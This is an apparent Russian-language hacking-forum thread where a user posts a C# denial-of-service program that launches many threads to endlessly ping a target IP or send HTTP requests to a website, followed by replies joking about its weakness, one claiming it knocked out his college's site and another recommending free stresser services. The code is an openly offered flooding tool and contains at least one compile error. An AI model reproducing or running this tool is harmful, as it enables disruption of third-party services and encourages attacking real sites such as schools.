Загрузка...

Dos на с#

Тема в разделе C# создана пользователем tipossilka77 29 май 2021. (поднята 15 июн 2021) 647 просмотров

  1. tipossilka77
    tipossilka77 Автор темы 29 май 2021 rang: imperator 33 23 май 2020
    Всем привет! Я решил написать свой (фиговый) пример Dos программы!
    Вот код
    Код
     static void Main()
    {
    bool isIp = true;
    Console.WriteLine("Привет ебать! Эта программа по досу сайтов и айпи) "); //обращение)
    Console.WriteLine("Будим ебашить ip или сайт? (ip - 1 сайт - 2)");//спрашиваем что будем делать
    int IsDos= Console.ReadLine(); //Записываем ответ в переменную IsDos
    Console.WriteLine("Во сколько потоков? (чем больше тем лучше ддос но и жрать систему будет больше)(например 100)"); //спрашиваем во сколько потоков будем досить
    int thread1 = Convert.ToInt32(Console.ReadLine()); // записываем ответ в переменную thread1
    if (IsDos == 1) //если IsDos равен 1 (тоесть ip) то isIp равен true
    {
    isIp = true;
    }
    else // если нет то false
    {
    isIp = false;
    }
    Console.WriteLine("Введи ip или сайт (без http://)"); // спрашиваем ip или сайт
    string ip = Console.ReadLine(); // Записываем в переменную ip


    threading(isIp, ip, thread1); // Вызываем метод threading
    }



    static void threading(bool IsIP2, string ip12, int num) // этот метод создаёт потоки в аргументах указываем ip
    {
    if (IsIP2) // если IsIp2 равен true то создает поток с методом ipDos
    {
    for(int i = 0; i < num; i++)
    {
    Thread myThread = new Thread(new ParameterizedThreadStart(ipDos));
    myThread.Start(ip12);
    }
    }
    else // если нет то создает поток с методом SiteDos в аргументах указываем сайт
    {
    for (int i = 0; i < num; i++)
    {
    Thread myThread = new Thread(new ParameterizedThreadStart(SiteDos));
    myThread.Start(ip12);
    }
    }

    }

    static void ipDos(object ip1) // метод который досит ip
    {
    string ip12 = (string)ip1; //
    IPAddress ip = null;
    ip = IPAddress.Parse(ip12);
    int num = 0;
    while (true)
    {
    num++;
    var ping = new Ping();
    //Если IP пропарсился нормально, то пингуем
    if (ip != null)
    ping.Send(ip);
    Console.WriteLine(num + "SUCED");
    if (num % 10000 == 0)
    GC.Collect();
    }
    }
    static void SiteDos(object ip12)
    {
    int num = 0;
    while (true)
    {
    num++;
    string ip1 = (string)ip12;
    //Создаём запрос
    var r = (HttpWebRequest)WebRequest.Create("http://" + ip1);
    //Начинаем слушать ответ
    r.BeginGetResponse(new AsyncCallback((IAsyncResult res) => { }), null);
    Console.WriteLine(num + "SUCED");
    if (num % 10000 == 0)
    GC.Collect();
    }
    }
     
    29 май 2021 Изменено
  2. tipossilka77
    tipossilka77 Автор темы 29 май 2021 rang: imperator 33 23 май 2020
    Основное объяснил)
     
  3. wDude
    wDude 29 май 2021 Боюсь быть не там и не тем. 3666 14 авг 2017
    Дос сайтов с 1 компьютера, путём отправки http запросов :peka::peka::spain:.
    В теории должно сработать (нет), а на практике даже лучше не пытаться.
    Надеюсь ты этой прогой лолз не положишь :warpath:.
    А так попытка не плохая.
     
    1. Посмотреть предыдущие комментарии (1)
    2. wDude
      tipossilka77, ты уверен, что это просто твой айпи в блок на время не улетел? :troll_face:
    3. tipossilka77 Автор темы
  4. SijyKijy
    SijyKijy 29 май 2021 Сгнил 34 10 мар 2017
    Код
    GC.Collect()
    в бесконечном цикле, дык ещё и в многопотоке. Бедный garbage collector
     
    1. tipossilka77 Автор темы
  5. LilKrale
    LilKrale 1 июн 2021 генг бэнг 65 11 дек 2020
    Никогда не видел досов на шарпе, ставлю класс за старания:da:
     
    1. tipossilka77 Автор темы
  6. loger3000
    loger3000 1 июн 2021 2 31 май 2021
    им скорее свой интернет положишь чем сайт
     
  7. ПереигралВсех
    ПереигралВсех 15 июн 2021 Заблокирован(а) 1098 9 фев 2020
    лучше новый метод ддоса придумай :da:
     
  8. ekstador
    ekstador 16 июн 2021 382 23 авг 2017
    Чел, жесткий лайк, ибо сайт моей шараги упал
     
    1. Посмотреть предыдущие комментарии (4)
    2. aChanKiller
      ekstador, ты клоун,что тебе мешает бесплатный стрессер юзать ты вообще на этой планете живешь?
    3. ekstador
      @aChanKiller, ты долбаёб, нахуй мне это нужно? Я просто чекнул работает ли код парня, не более
    4. aChanKiller
      ekstador, этот код бесполезен,как твоё существование в этом мире
    5. Посмотреть следующие комментарии (3)
  9. GoodentaK
    GoodentaK 16 июн 2021 мамонтизирован 130 18 май 2021
    Чувак, на будущее, main func. должна быть в самом низу, это плохой тон, когда main сверху
     
    1. Посмотреть предыдущие комментарии (5)
    2. renameduser_2192759
      GoodentaK, нет, это называется ты доебался к новичку, который сам ещё нихрена не понимает, а вы уже лезете со своими 'советами '
    3. GoodentaK
    4. GoodentaK
      renameduser_2192759, я же написал "на будущее", я же не сказал ему сейчас сразу начать так делать, со временем он придет к этому
Top
Загрузка...